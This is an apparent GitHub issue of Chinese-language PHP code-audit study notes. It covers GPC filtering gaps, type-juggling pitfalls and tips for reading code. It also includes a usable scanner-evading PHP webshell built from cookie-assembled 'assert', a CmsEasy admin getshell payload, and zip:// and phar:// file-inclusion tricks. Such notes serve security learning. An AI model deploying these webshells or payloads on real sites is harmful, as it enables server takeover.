shownb / shownb.github.com

shownb.github.io
shownb.github.io
5 stars 1 forks source link

php代码审计木马绕过等等 #30

Open shownb opened 5 years ago

shownb commented 5 years ago

php一句话木马检测绕过研究 请求时设置Cookie值为Cookie: set-domain-name=ass;,以下示例脚本代码也可绕过该平台的查杀,当然,以上提到的其它工具和平台也可以绕过。

<?php
$password = "LandGrey";
$ch = $_COOKIE["set-domain-name"];
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
?>

CmsEasy_v5.7 漏洞测试 后台getshell

1、登录后台,模板--自定义标签—添加自定义标签--填写Payload—提交: Payload: 1111111111";}<?php phpinfo()?>

PHP代码审计学习笔记 一、GPC

整数类型不受GPC影响 $_SERVER变量不受GPC保护 $_FILES变量不受GPC保护 宽字节注入 数据库操作容易忘记添加单引号的地方如:in()/limit/order by/group by 只过滤了变量的值,但没有过滤key(有的程序会在代码中使用key,如带入SQL语句) php5.3以后$_REQUEST中不再包含$_COOKIE(可能导致过滤不全) GPC为on的时候,在php4和php<5.2.1的情况下GPC不处理数组第一维变量的key 在对参数进行过滤后又对其进行了其它的操作,如substr,str_replace等,这可能导致转义符被删除 PHP在接受参数时,如果遇到参数key中包含空格、点号,左中括号,则将它们转换为下划线(即改变了变量名),配合PHP参数污染绕过安全检测

函数/语法 特性
in_array 比较之前会对数据进行类型转换
is_numeric 十六进制可绕过
intval 会对字符串进行类型转换,只要第一个字符是数字即可转换成功
iconv 导致字符串截断
==与=== 双等号两边如果变量类型不同则会做类型转换
反引号命令执行
“” 双引号变量解析
$a($b) 动态函数执行
is_file 使用通配符(<,>)可绕过

列化时自动调用 枚举 rand 使用rand处理session时,攻击者很容易暴力破解出session

四、阅读技巧

从index文件读起,了解程序运行流程 检查程序入口处做了哪些安全处理 检查数据库入口处做了哪些安全处理 检查数据库连接处代码 检查登陆、注册、找回密码、绑定邮箱、文件管理和文件上传等功能点 理清程序调用流程以及输入数据的流向,这样可以节约很多时间,可以有目的的查找漏洞

五、新技能

文件包含截断新姿势:http://www.hackersb.cn/hacker/105.html

$a = $_GET['file'];
include $a.'.html.php';

在可以控制协议的情况下,首先新建一个hello.html.php,内容为phpinfo(),然后压缩成zip,然后访问http://localhost/test/blog.php?file=zip://test.zip%23hello 注意:变量名需要在开头以控制协议 功能同上,协议更换为phar, 访问方式为:http://localhost/test/blog.php?file=phar://1.zip/1.php